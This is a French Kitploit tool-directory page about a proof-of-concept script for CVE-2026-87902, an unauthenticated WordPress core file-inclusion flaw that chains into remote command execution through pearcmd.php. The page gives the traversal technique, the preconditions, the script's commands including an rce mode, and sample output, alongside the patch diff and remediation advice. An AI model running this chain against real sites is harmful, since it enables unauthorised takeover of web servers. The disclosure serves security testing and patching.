Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-87902-PoC-pwnVader — PoC shell pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress via la résolution de page-template qui s'enchaîne en RCE via pearcmd.php. | Kitploit
Outils/GitHubGitHub/pwnvader/cve-2026-87902-poc-pwnvader
Analyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubpwnvader/cve-2026-87902-poc-pwnvader

CVE-2026-87902-PoC-pwnVader

PoC shell pour CVE-2026-87902, une LFI non authentifiée du cœur de WordPress via la résolution de page-template qui s'enchaîne en RCE via pearcmd.php.

Voir le dépôt
1il y a 4 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902 — Inclusion locale de fichier non authentifiée dans la résolution des modèles de page du cœur de WordPress → RCE

Auteur : pwnVader · Licence : MIT (racine du dépôt)

ComposantCœur de WordPress (wp-includes/template.php)
TypeCWE-98 — Inclusion de fichier PHP (LFI → RCE)
AffectéWordPress < 7.1.2 (branche 7.0 corrigée dans 7.0.6 ; rétroportages 6.x dépendants de la branche)
Corrigé7.1.2 / 7.0.6
CVECVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
PoCpoc.sh

Résumé

get_page_template() ajoute page-{urldecode(pagename)}.php à la hiérarchie des modèles de page lorsque la variable de requête pagename contient des caractères encodés en pourcentage, et locate_template() résout le candidat avec file_exists() / require sans vérifier que le chemin reste à l'intérieur du thème actif. Un attaquant non authentifié peut donc inclure et exécuter un fichier .php local lisible de son choix en dehors du thème actif.

Préconditions :

  1. WordPress < 7.1.2.
  2. Le thème actif contient un répertoire de premier niveau commençant par page- (par exemple le thème officiel Twenty Fourteen fournit page-templates/). Le nom du modèle est toujours préfixé par page-, donc le premier composant du chemin doit exister.
  3. Un ID de page publique valide pour que la requête principale soit une page (et non un 404). Le script en découvre un à partir du sitemap du cœur, de la classe body de la page d'accueil, ou d'une petite sonde d'ID.

La charge utile est doublement encodée afin que sanitize_title_for_query() préserve les octets %2e/%2f ; urldecode() à l'intérieur de get_page_template() reconstruit ensuite ../ au moment de la résolution du modèle.

Si le serveur dispose également d'un pearcmd.php accessible et de register_argc_argv = On (valeur par défaut dans l'image PHP officielle), la chaîne s'élève en exécution de code à distance : la chaîne de requête devient des arguments CLI via les séparateurs +, pear config-create écrit un fichier .php contrôlé par l'attaquant, et la même LFI l'inclut.

Utilisation

root@kitploit:~
# Menu interactif (recommandé pour un démarrage rapide)
./poc.sh

# 1) Détecter la LFI (lecture seule)
./poc.sh check --target https://example.com

# 2) Détecter la LFI et tester les préconditions de la RCE (charge utile auto-supprimante)
./poc.sh check-rce --target https://example.com --authorized

# 3) Exécuter une commande via la chaîne (charge utile auto-supprimante)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"

Options : --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (ou VDP_AUTHORIZED=1) est requis pour tout mode susceptible d'écrire lorsque la cible n'est pas localhost.

Exemple de sortie (check)

root@kitploit:~
== CVE-2026-87902 PoC (check) ==
target: https://example.com

[1] Discovering a public page ID
  [info] page_id: 17
  [info] baseline: POST /?page_id=17 -> 52377 bytes

[2] Testing the LFI (read-only include of wp-includes/version.php)
  [PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
  [info] theme directory: page-templates/   traversal depth to webroot: 4
  [info] second file confirmed: wp-admin/install.php executed (static string returned)

== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==

Exemple de sortie (check-rce / rce)

root@kitploit:~
[3] Testing the LFI-to-RCE chain (self-deleting payload)
  [PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
  [PASS] RCE CONFIRMED: command output returned (uid/gid present)
  [info] payload self-deleted (cleanup verified)

[4] Executing command: id;hostname;whoami
  > uid=33(www-data) gid=33(www-data) groups=33(www-data)
  > 4119cb19757f
  > www-data

Si la LFI est confirmée mais que PEAR est absent (ou que register_argc_argv est désactivé), le script signale clairement la précondition et se termine sans rien écrire (exit 3).

Logique de détection

  1. Trouver un ID de page publique (sitemap → classe body de la page d'accueil → sonde numérique).
  2. Pour chaque répertoire de thème page-* candidat et chaque profondeur de traversée, requêter page-<dir>/../../…/wp-includes/version.php via le paramètre pagename (POST, corps vide — nécessaire car WordPress effectue d'abord une redirection canonique sur GET/HEAD).
  3. Une réponse 200 avec un corps de 0 octet (contre la référence de page de plusieurs Ko) prouve l'inclusion.
  4. Vérification RCE : tenter pear config-create via la LFI avec une charge utile auto-supprimante, puis inclure le fichier écrit avec une commande fournie dans la requête.

Cause racine / correctif

Correctif du fournisseur dans 7.1.2 (wp-includes/template.php) :

root@kitploit:~
-        if ( $pagename_decoded !== $pagename ) {
+        if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {

plus une vérification de confinement par realpath() dans locate_template() (_wp_is_template_path_allowed()). wordpress-7.0.6 contient le correctif identique au bit près.

Remédiation

  • Mettre à jour le cœur de WordPress vers 7.1.2 (ou 7.0.6 pour la branche 7.0).
  • En attendant : rejeter les valeurs pagename contenant des séquences de traversée (.., %2e%2e, %252e%252e) sur toutes les méthodes HTTP, ou supprimer la précondition du répertoire de thème page-*.

Références

  • NVD — CVE-2026-87902 : https://nvd.nist.gov/vuln/detail/CVE-2026-87902
  • Avis du fournisseur : https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Versions corrigées : https://wordpress.org/wordpress-7.1.2.tar.gz · https://wordpress.org/wordpress-7.0.6.tar.gz

Avertissement

Pour des tests de sécurité autorisés uniquement. Les modes RCE utilisent une charge utile auto-supprimante et n'écrivent rien d'autre que leur propre fichier marqueur temporaire, mais ils exécutent tout de même des commandes sur la cible — ne les lancez que là où vous disposez d'une autorisation explicite.

Télécharger l’outil